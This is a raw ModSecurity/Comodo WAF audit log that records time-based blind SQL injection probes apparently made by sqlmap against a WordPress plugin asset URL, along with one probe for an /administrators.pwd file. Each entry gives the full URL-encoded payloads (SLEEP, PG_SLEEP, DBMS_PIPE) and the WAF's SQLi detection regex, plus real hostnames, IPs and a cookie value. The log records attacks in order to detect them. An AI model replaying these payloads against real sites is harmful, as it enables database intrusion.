[msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:ver: 1749036687';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(78)||CHR(90)||CHR(101)||CHR(122),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88yFR6EeXjkGzEkblkjAAAAAs"] Stopwatch: 1750023368182050 5785 (- - -) Stopwatch2: 1750023368182050 5785; combined=3884, p1=341, p2=3371, p3=36, p4=27, p5=109, sr=86, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9509219-Z-- --f86c8313-A-- [16/Jun/2025:03:06:08.778146 +0530] aE88yIl8S04UZ4l67-neCgAAAAk 172.71.172.182 59500 127.0.0.1 7081 --f86c8313-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%20%28SELECT%207583%20FROM%20%28SELECT%28SLEEP%285%29%29%29OgeV%29%20AND%20%286797%3D6797 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.182 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533848916dc96-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f86c8313-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --f86c8313-E-- --f86c8313-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (6797=6797 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and (select 7583 from (select(sleep(5)))ogev) and (6797=6797"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (6797=6797 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and (select 7583 from (select(sleep(5)))ogev) and (6797=6797"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88yIl8S04UZ4l67-neCgAAAAk"] Stopwatch: 1750023368695213 83030 (- - -) Stopwatch2: 1750023368695213 83030; combined=159397, p1=342, p2=2426, p3=33, p4=28, p5=78324, sr=87, sw=0, l=0, gc=78244 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f86c8313-Z-- --b9b6ba79-A-- [16/Jun/2025:03:06:10.231674 +0530] aE88ygiLzf5Jb_3uGhHfggAAAAA 162.158.110.213 33140 127.0.0.1 7081 --b9b6ba79-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%20%28SELECT%207583%20FROM%20%28SELECT%28SLEEP%285%29%29%29OgeV%29%20AND%20%28%27ppaY%27%3D%27ppaY HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.110.213 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505338df8a1dc5a-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b9b6ba79-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --b9b6ba79-E-- --b9b6ba79-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('ppay'='ppay found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and (select 7583 from (select(sleep(5)))ogev) and ('ppay'='ppay"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('ppay'='ppay found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and (select 7583 from (select(sleep(5)))ogev) and ('ppay'='ppay"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88ygiLzf5Jb_3uGhHfggAAAAA"] Stopwatch: 1750023370226023 5736 (- - -) Stopwatch2: 1750023370226023 5736; combined=3871, p1=357, p2=3370, p3=37, p4=27, p5=80, sr=100, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9b6ba79-Z-- --e3dbf260-A-- [16/Jun/2025:03:06:10.747935 +0530] aE88yol8S04UZ4l67-neDAAAAAk 172.71.144.60 33154 127.0.0.1 7081 --e3dbf260-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%20%28SELECT%207583%20FROM%20%28SELECT%28SLEEP%285%29%29%29OgeV%29%20AND%20%27LCJt%27%3D%27LCJt HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.60 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533913b40e7ba-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --e3dbf260-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --e3dbf260-E-- --e3dbf260-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'lcjt'='lcjt found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and (select 7583 from (select(sleep(5)))ogev) and 'lcjt'='lcjt"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'lcjt'='lcjt found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and (select 7583 from (select(sleep(5)))ogev) and 'lcjt'='lcjt"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88yol8S04UZ4l67-neDAAAAAk"] Stopwatch: 1750023370742719 5300 (- - -) Stopwatch2: 1750023370742719 5300; combined=3478, p1=355, p2=2990, p3=33, p4=22, p5=78, sr=97, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e3dbf260-Z-- --70780813-A-- [16/Jun/2025:03:06:11.345429 +0530] aE88y4rLgrklqy57Kk2b2gAAAAg 172.71.148.9 33170 127.0.0.1 7081 --70780813-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%204582%3D%28SELECT%204582%20FROM%20PG_SLEEP%285%29%29%20AND%20%283342%3D3342 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.9 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053394fd1ddc72-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --70780813-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --70780813-E-- --70780813-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5)) and (3342=3342 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 4582=(select 4582 from pg_sleep(5)) and (3342=3342"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5)) and (3342=3342 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 4582=(select 4582 from pg_sleep(5)) and (3342=3342"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88y4rLgrklqy57Kk2b2gAAAAg"] Stopwatch: 1750023371340976 4555 (- - -) Stopwatch2: 1750023371340976 4555; combined=2683, p1=348, p2=2190, p3=33, p4=26, p5=86, sr=96, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70780813-Z-- --f1514d38-A-- [16/Jun/2025:03:06:12.368020 +0530] aE88zENwpNEMJppxC49RfQAAAAI 172.71.144.49 33222 127.0.0.1 7081 --f1514d38-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20AND%204582%3D%28SELECT%204582%20FROM%20PG_SLEEP%285%29%29--%20wuEQ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.49 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505339b5f29dbf2-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f1514d38-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --f1514d38-E-- --f1514d38-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5))-- wueq found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 4582=(select 4582 from pg_sleep(5))-- wueq"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5))-- wueq found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 4582=(select 4582 from pg_sleep(5))-- wueq"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zENwpNEMJppxC49RfQAAAAI"] Stopwatch: 1750023372363766 4347 (- - -) Stopwatch2: 1750023372363766 4347; combined=2535, p1=331, p2=2072, p3=30, p4=24, p5=78, sr=85, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f1514d38-Z-- --5e03a61e-A-- [16/Jun/2025:03:06:12.449745 +0530] aE88y9kGqt_oHz6gRVdIrQAAAAw 185.177.72.210 33190 127.0.0.1 7081 --5e03a61e-B-- GET /administrators.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5e03a61e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7156714754ccaa153b053d5bf9353f7c1750023372; expires=Sun, 15 Jun 2025 22:36:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5e03a61e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/administrators.pwd"] [unique_id "aE88y9kGqt_oHz6gRVdIrQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023371800895 648916 (- - -) Stopwatch2: 1750023371800895 648916; combined=1838, p1=311, p2=1434, p3=0, p4=0, p5=92, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e03a61e-Z-- --b8c35356-A-- [16/Jun/2025:03:06:12.876214 +0530] aE88zFGNm2a2ZAngdHCtkgAAAAc 172.68.192.226 33256 127.0.0.1 7081 --b8c35356-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%204582%3D%28SELECT%204582%20FROM%20PG_SLEEP%285%29%29%20AND%20%28%27TsCo%27%3D%27TsCo HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.192.226 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505339e88372c71-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b8c35356-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --b8c35356-E-- --b8c35356-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5)) and ('tsco'='tsco found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 4582=(select 4582 from pg_sleep(5)) and ('tsco'='tsco"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5)) and ('tsco'='tsco found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 4582=(select 4582 from pg_sleep(5)) and ('tsco'='tsco"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zFGNm2a2ZAngdHCtkgAAAAc"] Stopwatch: 1750023372870995 5309 (- - -) Stopwatch2: 1750023372870995 5309; combined=3433, p1=340, p2=2956, p3=30, p4=23, p5=83, sr=86, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8c35356-Z-- --34851d33-A-- [16/Jun/2025:03:06:13.368127 +0530] aE88zfkun2jazaBvM9tttgAAAAE 172.68.195.236 33288 127.0.0.1 7081 --34851d33-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%204582%3D%28SELECT%204582%20FROM%20PG_SLEEP%285%29%29%20AND%20%27IktR%27%3D%27IktR HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.195.236 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533a1add5fe50-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --34851d33-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --34851d33-E-- --34851d33-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at 